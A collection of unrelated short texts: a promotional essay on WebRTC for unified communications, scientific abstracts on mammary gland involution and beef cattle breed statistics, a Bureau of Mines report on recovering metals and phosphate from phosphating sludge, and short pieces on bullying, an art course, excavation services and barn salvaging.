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Why WebRTC is Critical to Your Communications Strategy
Unified communications has traditionally been anything but unified. Companies have been inundated with waves of expensive hardware, clunky on-premise software, and aging hosted-communications providers. Instead of moving towards a more integrated landscape, it feels like we’re headed in the opposite direction. The promise of a cohesive experience that meets all of an organization's needs has yet to be fulfilled.
"The next generation of communication systems must be a seamless part of the user’s world and connect them to others without worry, frustrations or friction"
Users today expect more. They are connected in ways that were once unimaginable, and unified communications systems have not kept up. Email, presence, telephony, instant messaging, video and VOIP still operate in separate silos. These applications feel left behind, like remnants of a different time, compared to the apps on our phones, tablets and computers. Traditional unified communications systems try to meet so many needs that they end up not solving any of them effectively. Instead, their size and scope has led to systems that are slow to innovate, difficult to use and expensive to maintain.
Companies want better. Users deserve better.
The next generation of communication systems must be a seamless part of the user’s world and connect them to others without worry, frustrations or friction. I believe WebRTC holds promise as the technology to deliver this better UC experience.
WebRTC, an emerging technology born out of Google, will usher in the next wave of connected possibilities. Google released WebRTC as open source, and submitted its design to the main standard organizations (IETF and WC3) to be an open specification that all browsers can implement. WebRTC gives developers a holistic, real-time video, voice and data stack that is secure, performant and easy to use for building broader browser-based applications. It removes the problems of interoperability, hard to use development tools, and clunky aging user interfaces.
WebRTC is still evolving as a standard. And while companies are racing to figure out how they can benefit from this technology, for many companies the path forward is not immediately clear. Here are five ways I see users benefiting from WebRTC today.
1.Plugin-free communications. The promise of not having to download a plugin, install flash or Java, or install yet another application on your computer is enormously important. Users, whether internal or external to an organization, can connect in seconds and not waste half of their meeting coordinating how to install this or download that. Google, Mozilla and Microsoft have varying degrees of support for this, but all are committed to the standard and are working quickly on their implementations.
2. Secure, encrypted data. Securing video and voice communications has traditionally been difficult to do. WebRTC makes it trivially easy, and removes any excuse for not encrypting real-time data. Some WebRTC implementations simply do not allow unencrypted streams. For end users, this means that a call is just as secure when on Wi-Fi at a local Starbucks as when they are connected through their corporate network.
3. Better UX. The most stunning designs in software are happening in the browser and in mobile applications. This is more than eye candy; an engaging user interface can be easier to use and can dramatically simplify what was once a complex and error-prone process. The expectations around design have never been higher. Clunky foreign-feeling applications simply do not deserve space on a user's device.
WebRTC is a web technology at heart. It removes the hardest parts of development and adds rich interfaces that developers and UX designers can use and easily interact with. The result is that marrying beautiful designs with real-time media has never been easier.
4. Cutting-edge features. Should software have a “sell by” date? I’m starting to think it should. Traditional communication software was difficult to write, secure and release. Organizations have been accustomed to yearly or longer releases of new features in complicated UC applications. WebRTC enables quicker turnaround of features in two ways.
First, because its browser based, it’s dramatically easier to write, test and deploy software. Releases are no longer regarded in quarters or years, but in weeks, days, and sometimes even by the minute. Second, WebRTC itself is evolving. New features and improvements are constantly being added. As adoption grows, so will the quality and ability of this technology, and users will quickly reap the benefit.
5. Cost. Communications is a huge expense for most organizations. Investing in traditional UC infrastructure is costly, requires extensive planning and starts to depreciate the second it's installed. Maintenance, support and user training all add to this expense. While WebRTC does not eliminate all of these costs, it can greatly reduce them. All an end user needs is a modern browser, smartphone or tablet, and they can start communicating with the latest communication technology available. Many of these solutions do not require any infrastructure to deploy.
Is WebRTC perfect? No. It has rough edges, but it continues to evolve and improve over time. To be successful, however, WebRTC will have to overcome these hurdles.
● Adoption. Adoption is the most important key to its success. Google released WebRTC in 2012 with the hope that all browser manufacturers would adopt and implement it. Fast forward to today, and it still hasn’t happened. Google’s Chrome, not surprisingly, is the most supported implementation. Mozilla’s Firefox has been making great strides in its support, and Microsoft has implemented functionality in its upcoming Edge browser and has strongly supported the next generation WebRTC specification. Apple, unfortunately, has been quiet on the matter.
Mobile adoption has been slow as well. Android only recently added native support for WebRTC, and Apple has not announced any plans for support in iOS.
● Interoperability. WebRTC does not directly support legacy interoperability with existing communication systems. Fortunately, service providers are making great strides in providing services that connect the most important parts of these systems, such as voice and telephony applications.
● P2P. WebRTC was designed as a peer to peer (P2P) technology, meaning two users could connect directly to each other. Additional multi-person use cases were not initially given much consideration. That means that the current state of WebRTC technology was not built to be able to scale. Again, this problem is left to the service provider to solve.
So, is WebRTC ready for prime time? I believe it is. Four months ago, my team at ReadyTalk set out to build a communication product that would facilitate conversations between distant sets of users in a mobile-first way. High definition video, voice and strong security would need to be hallmarks for such a product, and it needed to offer ubiquitous access across all types of devices.
We released our first version of FoxDen in eight weeks. Out of the gate, we delivered a high definition video and voice application for up to eight users with full support for browsers as well as applications for iOS and Android. We worked around the current limitations on mobile by including the open source WebRTC stack directly within our Android and iOS clients. Our back-end systems remove the P2P limitations by distributing the audio and video streams in a more efficient manner.
WebRTC allows us to focus on building unique and compelling features for users. It removes the burden of traditional unified communication development and frees us to innovate in new and creative ways. Its promise is exciting, and even in its infancy state, it provides real tangible value to users today.
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The mammary gland (MG) is a unique organ responsible for milk synthesis, secretion, and involution to prepare the gland for subsequent lactation. The mammary epithelial cells (MECs), which are the milk synthesizing units of the MG, proliferate, differentiate, undergo apoptosis and regenerate following a cyclic pathway of lactation - involution - lactation, fine-tuning these molecular events through hormones, growth factors and other regulatory molecules. The developmental stages of the MG are embryonic, prepubertal, pubertal, pregnancy, lactation and involution, with major developmental processes occurring after puberty. The involution stage includes interesting physiological processes such as MEC apoptosis, matrix remodeling, and the generation of cells regaining the shape of a virgin MG. Signal transducer and activator of transcription 3 (STAT3) is the established master regulator of this process and aberrant expression of STAT3 leads to subnormal involution and may induce neoplasia. Several studies have reported on the molecular mechanism of MG involution with substantial knowledge being gained about this process; however, a deep understanding of this phenomenon has yet to be attained. This review focuses deeply on the molecular details of post-lactational regression, the signaling pathways involved in the lactation-involution cycle, and the latest developments in STAT3-associated MG neoplasia. Deep insight into the involution process will pave the way towards understanding the biology, apoptosis, and oncogenesis of the MG.
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Table of Contents
As part of its solid-waste research, the Bureau of Mines is engaged in a broad program to develop low-cost processes for recovering and recycling metals and minerals from a variety of industrial wastes. One benefit is the alleviation of pollution associated with many of these wastes.
The phosphate coating of metals is widely used in industry, especially in the manufacture of steel products. The primary use of phosphate coating is to provide a base to which paint or enamel will strongly adhere, but it is also used for corrosion protection and for lubrication in die-forming operations. The phosphating operation consists of contacting the metal surface by either dipping it in or spraying it with a solution of primary metal phosphates and one or more oxidizing agents in phosphoric acid.
The phosphate coating reaction is based on the insolubility in water and solubility in acids off most metal phosphates. When steel is contacted with the phosphating solution, iron is dissolved, hydrogen is evolved, and the primary metal phosphates are converted to insoluble secondary and tertiary phosphates that deposit on and strongly bond to the metal surface. Because the evolved hydrogen slows the reaction, oxidizing agents are added to convert hydrogen to water. A typical overall reaction is as follows:
where M is a metal such as iron, zinc, or manganese, and the underlined products are bonded to the metal surface.
The original metal surface is relatively rough, electrically conductive, and susceptible to corrosion; the coated surface is relatively smooth, nonconductive, and corrosion-resistant. Commercial phosphating solutions are usually proprietary and contain other chemicals in addition to those mentioned Furthermore, some metals may be dissolved from the materials undergoing treatment. A concentrated stock solution might be prepared by dissolving zinc in phosphoric acid and adding other ingredients. This solution would be diluted to approximately 3 percent total phosphate for the initial strength of the phosphating solution.
Chemical reaction with iron or steel during the phosphating operation also results in the accumulation of an insoluble sludge in which the main ingredient is ferric phosphate (FePO4). The sludge is collected at intervals by pumping away the supernatant liquid or draining the slurry from the bottom. Phosphate sludges from the treatment of automobile bodies are very fine-grained (100 percent finer than 37 microns and over 50 percent finer than 5 microns). However, they are contaminated by varying amounts of scale and other larger grained debris and by organic matter, including cutting oil, lubricating oil, grease, and various sealants. The composition of the sludges varies from batch to batch. A typical partial chemical analysis of a filtered dried sludge formed in treating automobile bodies is as follows:
The wastes from phosphating operations are often discharged into streams or landfills. The large quantities of such wastes discharged into streams in the Missouri River Basin have been reported in two Bureau of Mines publications. Based on annual U.S. production of thin sheet steel and assuming that 20 percent of this steel is phosphated, it is estimated that several million gallons of phosphate wastes are dumped each year. This contributes to stream pollution problems, and also represents large losses of zinc and phosphates, together with lesser amounts of other metals.
Phosphorus compounds, such as those in the wastes, are excellent nutrients for algae and other aquatic plants, growth of which causes oxygen depletion in streams and rivers. Even very small quantities of phosphates enhance growth of algae. Also, certain metals in phosphate wastes are toxic to fish and other organisms.
Previous work by the Bureau of Mines on the recovery of phosphates and metals from waste phosphate solutions and sludges has been reported. The purification of phosphoric acid pickle liquors and aluminum bright dip solutions has also been described. The main goal of the research described herein was to provide an alternative method for recovering the values from waste phosphate sludge.
Phosphate sludges contain more kinds and larger quantities of ingredients than do phosphate solutions; therefore, they involve more difficult separation problems. In this work, a major consideration was the large quantity of iron that must be separated from, or treated with, smaller quantities of nickel, zinc, and other metals.
As received, the phosphate wastes contained both solids and liquid. These slurries were filtered, and experimental tests were made on the undried filter cake (sludge). In an industrial process, the solids would probably be recovered by centrifuging, and the liquid would be recycled to the phosphating operation. Partial analyses of filtered and dried phosphate sludges are given in table 1. The sludges were dried at 110° C for 1 hour per 100 grams of undried sludge. The dried sludge still contained the organic matter. The first sludge was produced by phosphating automobile bodies: the second sludge was produced by phosphating steel used in the manufacture of appliances and hardware.
The solvent for iron chloride, isopropyl ether (IPE), was a purified grade that was used without diluent or carrier.
The solvent for zinc, a 20-volume-percent solution of di-2-ethylhexyl phosphoric acid (EHPA) in commercial-grade kerosene, was prepared from commercial-grade EHPA. Prior to its first use, the solution was washed with dilute phosphoric acid (pH 2.5) to remove an unidentified material that caused turbidity in the aqueous phase during extraction experiments. It was not necessary to repeat this treatment when the EHPA was recycled.
Chemistry of Extractions
Iron is very efficiently extracted from aqueous hydrochloric acid solutions by IPE, providing that the hydrochloric acid (HCl) concentration is approximately 8 molar. The efficiency of the extraction decreases as the acidity is lowered. The iron is extracted as ferric chloride, and some hydrochloric acid is also extracted. The iron chloride and hydrochloric acid can be easily recovered from the organic phase by stripping with water.
Previous extraction tests indicated that zinc could be selectively extracted from the aqueous, iron-free phosphate solution by EHPA in kerosene. This extraction proceeds by cation exchange between the liquid phases. EHPA exists as a dimer, (RH)2 in kerosene. The generalized equation for the extraction is
As the equation shows, the progress of the extraction results in increased acidity of the aqueous phase, which was verified experimentally when the pH of the solution dropped from 3.5 to 2.5 during a single extraction. Stripping of the organic phase with dilute (15 volume-percent) sulfuric acid recovers the zinc and regenerates the EHPA.
Experimental Procedures and Results
Dissolution and Extraction of Iron and Zinc
The flowsheet for the sludge dissolution and iron extraction steps is shown in figure 1. In a typical test, 1,000 grams of filtered, undried, phosphate sludge containing 31 percent solids was dissolved in 800 milliliters of hot, concentrated hydrochloric acid. The use of hot acid aided the coalescence and separation of about 35 grams of an oily phase, which must be removed to prevent contamination of the organic solvents. The oily material was separated by skimming and filtration. In practice, skimming and decantation would be used.
The efficient extraction of iron by IPE requires a solution at least 8 normal with respect to hydrochloric acid; therefore, 800 milliliters additional concentrated hydrochloric acid was added to meet this requirement. The volume of the solution was 2.6 liters at this point, and it contained the following (in grams per liter): Phosphate, 56; iron, 27; zinc, 8; and nickel, 0.9. This solution was stirred for 15 minutes with 7.8 liters of IPE in a 5-gallon vessel with a bottom outlet, and the phases were allowed to separate for 15 minutes. Adequate ventilation is required because of the high toxicity of IPE. In addition, protective clothing is required to prevent IPE from contacting the skin. The phases separated cleanly, with no emulsion problems. The iron-free aqueous phase was withdrawn from the bottom of the settler. Only one extraction stage was used.
Two liters of water was added to the loaded IPE in the mixer-settler, and the mixture was agitated about 15 minutes. Phase separation was rapid, and the aqueous ferric chloride solution (about 2.2 liters) was withdrawn. The regenerated IPE phase was recycled to the next iron extraction. The aqueous ferric chloride solution had a composition that resembled hydrochloric acid wastes from the pickling of steel, and could be treated by one of several industrial processes (1) developed to recover hydrochloric acid for recycling and iron oxide from hydrochloric acid pickling wastes. As an alternative procedure, the aqueous ferric chloride solution could be distilled to recover hydrochloric acid, and the ferric chloride residue could be disposed of by injection into deep wells.
The iron-free aqueous phase from the iron extraction (about 2-½ liters) was also distilled for the recovery of hydrochloric acid. The first low-temperature distillate (or cut) recovered the small amount of dissolved IPE, which was recycled to the next iron extraction. The second cut, which is constant-boiling hydrochloric acid, would be recycled to the scrubber for enrichment with hydrogen chloride (gas). The still bottoms from this distillation went to the zinc-extraction circuit.
The flowsheet for the zinc-extraction step is shown in figure 2. The aqueous phase from the iron extraction was treated with 79 grams NaOH to raise the pH to 3.5, which is optimum for the extraction of zinc using EHPA. The aqueous phase (2.5 liters) was agitated with – 5 liters of the organic phase for 15 minutes. After separation of phases, the aqueous phase (raffinate) was
withdrawn and held for recovery of phosphates. The loaded organic phase was stripped in the same vessel by 1 liter of 15-percent sulfuric acid for recovery of zinc and regeneration of the organic phase. In practice, zinc sulfate would be recovered by partial evaporation of the sulfuric acid strip solution, cooling, and filtering off the zinc sulfate. The acid filtrate would be recycled to the next zinc strip.
The results of the sludge dissolution and the extraction of iron and zinc are summarized in table 2. Virtually all (99.7 percent) of the iron was extracted in the IPE in one stage, and essentially all the zinc and nickel remained with the aqueous phase. About 13 percent of the phosphate was extracted with the iron and the balance stayed in the aqueous phase. More than 98 percent of the zinc was extracted by the EHPA in one stage, and it was essentially free of other materials. Eighty-seven percent of the original phosphate content of the sludge remained in the raffinate. Very little of the metals or phosphates was found in the oily fraction.
Trisodium Phosphate Product
The raffinate from the zinc extraction was treated with sodium hydroxide until the pH was about 8.5 to precipitate the nickel as Ni3(PO4)2·8H2O, which was filtered off. When a sufficient amount of this nickel salt has accumulated, it could be further refined or sold to a chemical processing company. Additional sodium hydroxide was then added until the pH was about 11.5 to form trisodium phosphate. Technical-grade trisodium phosphate was recovered either by evaporating the solution (fig. 3) or by adding ethyl alcohol (fig. 4). If desired, disodium phosphate could be recovered at about pH 8.5 by the same methods.
In a typical sodium phosphate product, the only impurities detected by spectrographic analysis were calcium (0.06 percent) and manganese (0.007 percent). The lead content was less than 0.001 percent. X-ray diffraction analysis showed that the hydrated product was trisodium phosphate (Na3PO4·12H2O). After removal of the water of hydration by heating, the product contained the following, in percent: sodium, 43; phosphate, 53; and chlorine, 2.6. The theoretical content of sodium in pure trisodium phosphate is 42.1 percent.
The recovery of ethyl alcohol (if used) and sodium hydroxide from the sodium phosphate mother liquor by distillation and evaporation, respectively, would be economically desirable and would avoid the production of new wastes.
Dissolution and Iron Extraction
In a typical test, 1,000 grams of filtered sludge, containing 700 grams of solids, was dissolved in hot, concentrated hydrochloric acid, and the oily material was removed as previously described. After the acid strength was brought up to 8 normal, the volume of the solution was 4 liters. Ten liters of IPE was used for the iron extraction. The flowsheet for the dissolution
and iron extraction was identical to that for the automobile sludge (fig. 1) except for two changes: (1) Much of the dissolved iron was initially in the ferrous state; the iron was oxidized to the ferric state by adding chlorine so that the iron could be extracted by IPE in the next step; (2) a two-stage water strip of the loaded IPE phase was employed (each strip was 2 liters).
The results are summarized in table 3. Nearly 100 percent of the iron and about 16 percent of the phosphate were extracted, and 98 percent of the zinc remained in the raffinate. The results suggest that a one-stage water strip of about 2-½ or 3 liters would have been adequate to remove essentially all of the iron. The material balance is for the iron extraction only.
The flowsheet for the zinc extraction was the same as for the automobile sludge (fig. 2) except that two extraction stages were used (sequence: extraction, strip, extraction, strip). About 4 liters of the aqueous iron raffinate was extracted by 8 liters of the organic phase, and two 1-liter acid strips were used. The. results are given in table 4. Almost all of the zinc was extracted; the phosphate remained in the raffinate. The zinc concentration in the iron raffinate was about three times as much as that in the work on the automobile sludge; the efficiency of zinc, extraction was nearly 100 percent. The results also indicate that the volumes of both the organic phase and the acid strip in the second extraction stage could be greatly reduced, which would decrease the amount of phosphate extracted. The material balance is for the zinc extraction only. The overall recovery of zinc was 98.0 percent, and of iron, nearly 100 percent. The zinc raffinate contained 83.6 percent of the original phosphate content of the sludge.
The raffinate from the zinc extraction was treated with sodium hydroxide until the pH was about 8 to precipitate cobalt and nickel, which were filtered off. Trisodium phosphate was recovered by the same procedure described earlier.
The described recovery process has two drawbacks: The process is complex, and the IPE extracted some phosphoric acid along with the ferric chloride. However, the extraction parameters were not optimized in this work, and finding the optimum conditions would improve the process. The data on the iron extraction indicate that ferric chloride is much more readily extracted by IPE than is phosphoric acid; therefore, reducing the volume of IPE in the extraction should significantly decrease the amount of phosphoric acid extracted (by the salting-out effect). The data also indicate that the volume of the organic phase used in the zinc extractions could be significantly reduced.
Further and larger scale research would be necessary to accurately determine the economics of the described process. However, the approximate values of the principal reagent consumptions and of the major products per ton of dry automobile sludge were calculated (using prices in the November 1, 1971, issue of the Oil, Paint and Drug Reporter) and are given in tables 5 and 6, respectively. The value of two marketable, products totals $235 per ton, and the cost of the major reagents consumed totals $101 per ton. Kerosene losses were negligible, and a 5-percent loss of hydrochloric acid was assumed. Reagent costs would be reduced if soda ash (Na2CO3) were used for neutralizing the solutions up to pH 7, followed by the use of sodium hydroxide to produce trisodium phosphate.
Advantages of the process are that extraction efficiencies were high, and solvent losses were low. In closed industrial extraction apparatus, solvent losses should be even lower owing to reduced evaporation. If the waste phosphate sludges from many sources in an industrial metropolitan area were to be collected and processed in a central plant, significant savings would result from the larger scale of operations.
Waste phosphate sludges resulting from the manufacture of automobiles and appliances can be successfully treated by solvent extraction techniques to produce separate zinc, iron, and trisodium phosphate products. After dissolution in hydrochloric acid, iron was extracted as ferric chloride by isopropyl ether, and zinc was extracted by di-2-ethylhexyl phosphoric acid in kerosene. Zinc recoveries were about 98 percent, iron recoveries were nearly 100 percent, and 84 to 87 percent of the phosphate remained in the raffinate. Technical-grade trisodium phosphate was recovered from the raffinate. The efficiencies of the one- and two-stage zinc and iron extractions ranged from 98 to nearly 100 percent, and zinc and iron were readily stripped from the organic phases. Solvent losses were low.
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Submitted to: Journal of Animal Science
Publication Type: Peer Reviewed Journal
Publication Acceptance Date: 8/27/1997
Publication Date: N/A
Interpretive Summary: Models for statistical analyses commonly include effects of fixed and ran- dom factors of which examples for beef cattle are fixed breed of sire and random sire effects. Random effects, such as effects of genes transmitted by sires to progeny, have distributions showing variation. A fixed effect is said to be a constant, i.e., has no variability. This paper describes the consequences of ignoring random effects such as those associated with sires and dams in estimating differences in breeds of sire for birth, weaning, and yearling weight of crossbred beef cattle. The estimates of breed differences for records from the Meat Animal Research Center were not greatly different for analyses when effects of sires and dams were ignored and when those effects were included in the model. The confidence ranges, however, were greatly underestimated when the random effects of individual sires and dams were ignored. Because estimates of breed differences are used in comparing bulls across breeds, the errors in such comparisons are also underestimated when individual sire and dam effects are ignored in estimating breed differences.
Technical Abstract: Data on weights of F1 calves and on weaning weight of top-cross progeny from 13 breeds of sire and maternal grandsire breeds were analyzed. Three analyses were performed on each trait to obtain estimates and standard errors of breed effects needed to predicted across-breed EPD and accuracies. Model (R) for records F1 progeny contained fixed effects for birth year and date, sex, age and breed of dam, and breed of sire, and a random residual effect. The second and third analyses fit random effects for sires (RS) and for sires and dams (RSD), in addition to fixed and residual effects. In maternal analysis of top-cross progeny, model (Rm) contained fixed effects for cycle of experiment, age of dam, year of birth, sex, breeds of maternal grandam and grandsire, and breed of sire, and a random residual effect. In addition to these effects, the second and third analyses fit random effects for maternal grandsires (Rsm) and for maternal grandsires and daughters of maternal grandsires (RSDm). Estimates of bree of sire effects changed randomly for all models. Total variance increased in RSD relative to R or RS. Apparent standard errors of breed of sire comparisons were underestimated by R, compared to RS and RSD. Other standard errors were generally not affected. Variance components, breed effects, and standard errors followed similar patterns in Rm, Rsm, and RSDm as in R, RS, and RSD. Ignoring random variation due to sires and dams underestimates standard errors of breed of sire comparisons and underestimates prediction error variances.
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One of the biggest problems the pandemic has caused is employment insecurities. And while things are easing up, the conversation about the traditional work structure has been brought to question. Conversations are being started about how sustainable that structure is, especially during emergencies. During this pandemic, many businesses have broken down under the pressure to save cost and they have done this by laying off so many. This has increased the already large population of the unemployed in Africa, thereby leaving the economy even more vulnerable.
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By MAURICIO PLIEGO
Bullying is becoming a nationwide problem in schools. Teachers at times do not realize what is really going on with students, which is the main reason why students are encouraged to say something.
Bullying has been taken on by many different approaches but hasn’t really changed. Recently, it has taken form not only physically and verbally, but digitally too, which is leading to insecurity among young people.
Many schools across the nation have tried at least one solution to fix the problem, but have not had much success and they have tried as many solutions as possible, but most have been failed attempts at doing so. Many of these schools’ possible solutions to the problem vary from programs involving to protect the victims to simply adding more adults around the school campus.
Bullying has expanded from elementary to high school level students and cyber bullying has become an infamous trend. It is even more difficult to stop because it can be done so easily and anonymously behind a computer screen and cyber bullying has become more and more widespread.
Social media has contributed to cyber bullying and has allowed it to move forward in more ways, like persistent harassment. The companies have tried to stop this from occurring but it won’t end until the victim speaks out or acts in defense.
The bullied victim must speak out for any action to be done towards the bully. Always, all those who are witnesses or bystanders must speak out for the victim. But most have become afraid, which has caused the problem to expand.
Schools across Redlands Unified School District have all become a “No Bully Zones” creating a sense of safety and kindness. As a result of this, throughout the schools bullying has become less of a problem. For example, Moore Middle school has a club called “M-Power”, which is meant to have a meeting every Thursday to try to find solutions to bullying on campus.
Moore P.E. teacher Michelle Astley is the advisor for the club, and she has created a sense of family within the school. She has become a major role model for the students at Moore.
The Redlands Unified School District has created a sense of family and of kindness through M-Power club and the implementation of “No Bully Zones” it has become a model for various school districts. Other school districts within the nation should follow in these steps to finally end bullying and create a new environment for the generations to come.
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Either Fortress Hohensalzburg (on site) or online
Maximum number of participants
Participation fee € 420.– (reduced € 340.–)
Before and during this course centered on saltwater sensibilities, participants will be immersed in Indigenous poetry and performance art from the Great Ocean. Extracts from recent works will form the basis of our gestural and intellectual inquiry, from literature: Craig Santos Perez, Noʻu Revilla, Dan Taulapapa McMullin, Léuli Eshrāghi and Paul Tavo; and from digital art: Shannon Te Ao, Angela Tiatia, Taloi Havini, Léuli Eshrāghi and Ahilapalapa Rands.
Following several days of discussion, reading, listening and sharing on a shared hearth in a collective learning environment, we will focus attention on orature, creating poetry, genealogical narrative, speculative proclamation, and on relational performance, creating new or renewed ceremony, choreographic gestures, and ritualized space for genders and sexualities that is constructed socially. This emphasis on creation informed by recent works and voices is part of a current of Indigenous creative expression that resists colonial museologies where Ancestral Belongings and inheritances are fixed in time. It does so to avoid using the terms of object or asset with their particular connotations.
Respecting Indigenous cultural and intellectual property principles, this course is imagined as a space promoting the non-cannibalistic consumption of alterity, according to collective learning modes defined by the Sāmoan and Tuvaluan artist and researcher Rosanna Raymond. In this vein, the course charts a humble journey through Indigenous art and ideas of the Great Ocean, which constitutes a third of this planet. Seeking to create our own non-colonial gestures to enact healing, rebalance and reparations, we will analyze and learn from the best practices of artists, writers, and curators who are not usually studied in northern Atlantic contexts.
Léuli Eshrāghi (Sāmoan, Persian, Cantonese) is a visual artist, writer, curator and researcher, who works between Australia and Canada. Ia/He intervenes in display territories to centre indigenous kin constellations, sensual and spoken languages, and ceremonial-political practices. Through performance, moving image, writing and installation, ia/he engages with indigenous futurities as haunted by ongoing militourist and missionary violences that once erased faʻafafine-faʻatama people from kinship and knowledge structures.
Eshrāghi has lectured at gatherings Creative Time, Hawaiʻi Contemporary Art Summit, HI (US), Experimenter Curators’ Hub (IN), March Meeting (AE), Dhaka Art Summit, Pacific Arts Association, and Asia Pacific Triennial, as well as at universities in San Juan, Melbourne, Yogyakarta, Montreal, Honolulu, Auckland and Victoria. Ia/He contributes to growing international critical practice across the Great Ocean and North America through residencies, exhibitions, publications, teaching and rights advocacy.
Solo exhibitions 2021 La fin est toujours le début d’autre chose | The end is where we start from, Quand la nature ressent / Sensing Nature: Momenta Biennale de l’image, Diagonale, Montréal (CA). 2019tagatanu‘u, Watch This Space, Alice Springs (AU). 2015Merri Yaluk, Gaffa Gallery, Sydney (AU). ‘O lā ‘āitu lāitiiti, We have always been here, Auckland Pride Festival, Studio One Toi Tū, (AU). 2014 Tagiauē, neospace, Collingwood (AU). 2012potu aiga, Conduit Arts Initiative, Fitzroy (AU).
Group exhibitions 2022 Au fil des îles, archipels, Centre d’exposition de l’Université de Montréal, Montréal. Embodied Knowledge: Queensland Contemporary Art, Queensland Art Gallery | Gallery of Modern Art, Brisbane (CA). 4+3=1: THERE ARE STORIES TO BE FORGED FOR COMMON DENOMINATORS TO COME FORTH AND SOCIAL BALANCE TO BE RESTORED, SAVVY Contemporary, Berlin. A Clearing in the Forest, Tate Modern, London. Trilogie de cendre, FRAC Pays de la Loire, Nantes (FR). A Tangled Bank, Penrith Regional Gallery, Penrith (GB). 2021 Deadly Decade, Blak Dot Gallery, Melbourne (AU). Projections: Léuli Eshrāghi and Jessica Karuhanga, Queer City Cinema / Dunlop Art Gallery, Regina (CA). TAEAO, Subspace.art commission, Subspace.art, online. Tender gestures, loud voices, Footscray Community Arts Centre, Melbourne. FIELD NOTES, Sauerbier House, Noarlunga (AU). 2020The body as collective desire | Le corps comme désir collectif, 52 Actions, Artspace Sydney/online. Potu faitautusi: o gagana e, ia uluulumamau! Be Courageous, Language Teachers! Reading Room, Columbus Printed Arts Center, Columbus, OH (US). Un/spoken screening program, Gallery 1C03, Plug In ICA, Video Pool Media Arts Centre + VUCAVU, Winnipeg/online (CA). AOAULI, ACCA Open commission, Australian Centre for Contemporary Art, Melbourne/online. Fluidity, Incinerator Gallery, Melbourne/online. TAFA (((O))) ATA, MUMA ONLINE commission, Monash University Museum of Art, online. NIRIN: 22nd Biennale of Sydney, various venues, Sydney/online. Te Whāinga: A Culture Lab on Civility, Smithsonian Asian Pacific American Center and Auckland Museum Tāmaki Paenga Hira, Silo Park, Auckland (AU). 2019Waterways: Asian Indigenous Relations in Contemporary Art curated by Ethnocultural Art Histories Research Group and Indigenous Art Research Group, Concordia University, Montréal. For Whom Masculinities Matter, Never Apart, Montréal. Sharjah Biennial 14: Leaving the Echo Chamber – Journey Beyond the Arrow, Sharjah Art Foundation, Sharjah (UAE). Seeing Voices, NETS + Monash University Museum of Art, regional tour to Bathurst Regional Gallery, Bathurst (AU). 2018The Commute, The IMA Institute of Modern Art, Brisbane (AU).2015Narrative of Location, Seventh Gallery; Gaffa Gallery, Sydney.
Curatorial projects 20239th TarraWarra Biennial of Australian Art: Ua usiusi faʻavaʻasavili, TarraWarra Museum of Art, Healesville (AU). 2021Pasapkedjinawong with John G Hampton, MacKenzie Art Gallery, Regina (CA). Sāmoan Hxstories, Screens and Intimacies II, imagineNATIVE + A Space Gallery, Toronto (CA). 2020Écrans autochtones: temporalité et mouvement with Mylène Guay, imagineNATIVE Film + Media Arts Festival, Toronto. ʻO le ūa na fua mai Manuʻa, University of New South Wales Galleries, Sydney. 2019Transits & Returns with Freja Carmichael, Lana Lopesi, Sarah Biscarra Dilley, Tarah Hogue, Vancouver Art Gallery, Vancouver (CA). Layover with Freja Carmichael, Lana Lopesi, Sarah Biscarra Dilley, Tarah Hogue, Artspace Aotearoa, Auckland (AU). 2018The Commute with Freja Carmichael, Lana Lopesi, Sarah Biscarra Dilley, Tarah Hogue, Institute of Modern Art, Brisbane (AU). 2017Pōuliuli (Faitautusi ma Fāʻaliga), Yirramboi First Nations Arts Festival, West Space, Melbourne, and Ala Moana Center, Honolulu, HI (US). 2016Ua numi le fau, Next Wave Festival, Gertrude Contemporary, Melbourne.
Photo: Rhett Hammerton
Internationale Sommerakademie für bildende Kunst Salzburg
Postfach 527, 5010 Salzburg, Österreich T +43 662 842113
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When it comes to starting a new project, whether it is a single family home or an entire community of them, it all starts with excavation and site clearing. It is also one of the most important. In fact the quality of the excavation can determine the success of the project.
This is why it is so important to choose a knowledgeable and experienced team to handle your excavation. To ensure it is properly done, here are a few guidelines.
This is a critical element here in Central Florida. If not done properly, controlling erosion and stormwater management can easily cause delays and even shut a project down. Taking steps such as installing silt fencing and removing the layer of topsoil, to ensure it won’t get washed away during an afternoon rainstorm. Causing massive delays and damaging the construction site.
To avoid delays, the sequence of preparations should not be overlooked. Steps should be taken before construction begins to plan out creating entrances, access roads, and fill piles.
Utility Lines Management
Underground utility lines, such as gas, water, sewer lines, and fiber optics should all be located and taken into account before excavation begins. The last thing you want is costly disruptions.
Maximizing the Weather
Knowing the weather patterns in Florida and understanding how to capitalize on them goes a long way when it comes to operations.
Maintaining Good Communication
Timely and good communication between contractors and other project teams is vital. Misunderstandings and serious delays result with poor communications.
Central Florida Area Excavation and Site Clearing Experts
When it comes to site development projects in Central Florida, Orlando, Kissimmee, Clermont, Lady Lake, whether it is land clearing, grading, earthwork, excavation, paving and storm water and utility systems installed, it is vital to choose the right company.
There is a Lot at Stake
It is important to choose a local company who understands the environment, professional, one that builds relationships within the community, has skilled personnel, the right equipment, and is proud to provide quality finished projects. That’s our goal at Swell Construct
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Over fifteen years ago, Melvin Burkholder entered the world of business ownership by solidifying his niche as a pole barn builder in his community in central Ohio. Burkholder explains that much has changed since then. “We started as a pole barn builder however, I was always fascinated by the demolition processes of buildings. I guess we gradually became involved in salvaging old buildings, with the help of an old friend, a county commissioner. He is the one that helped us by securing connections with property owners who wished to remove their old barns,” explained Burkholder.
One of the first salvaging projects that Burkholder became involved in was on his own property. He and several community members repurposed old barn wood to build an exquisite country fabric store which currently serves the community as well as Mennonites from several neighboring counties.
The main frame of this first reclaimed project measured 40x60, according to Burkholder. The crew of Old Order Mennonites then erected a 40x60 new-cut hickory timber frame building, marrying the two old and new buildings which today serves as the country fabric store.
Most of the old barns which Burkholder salvages are located within the states of Ohio, Pennsylvania, Indiana, Michigan, and Kentucky. He explains that today, he simply purchases old barn packages from demolition crews. This provides him with the opportunity to purchase and re-sell the packages without having to deal with the risky process of demolition. “Most times, the salvaging crew knows what I am looking for in a barn, and I will generally make payment for the barn upon delivery.”
The barns are carefully dismantled, where at that point the lumber is then loaded onto semi-trailers and delivered to Triple B Enterprise’s headquarters. On a typical week, Burkholder receives two to three barns for repurposing. The oldest barn he has repurposed had originally been built in the 1860s.
When salvaging an old barn, the siding is typically removed first, followed by the roof. Next on the demolition list is removing all the floorboards. The purlin plates are next in line, followed by the lower plates. The bent sections will be the last of the frame; five bents typically comprise the rough skeleton of the barns which Burkholder purchases. The heavy timbers (undercarriage) are the last in the removal process.
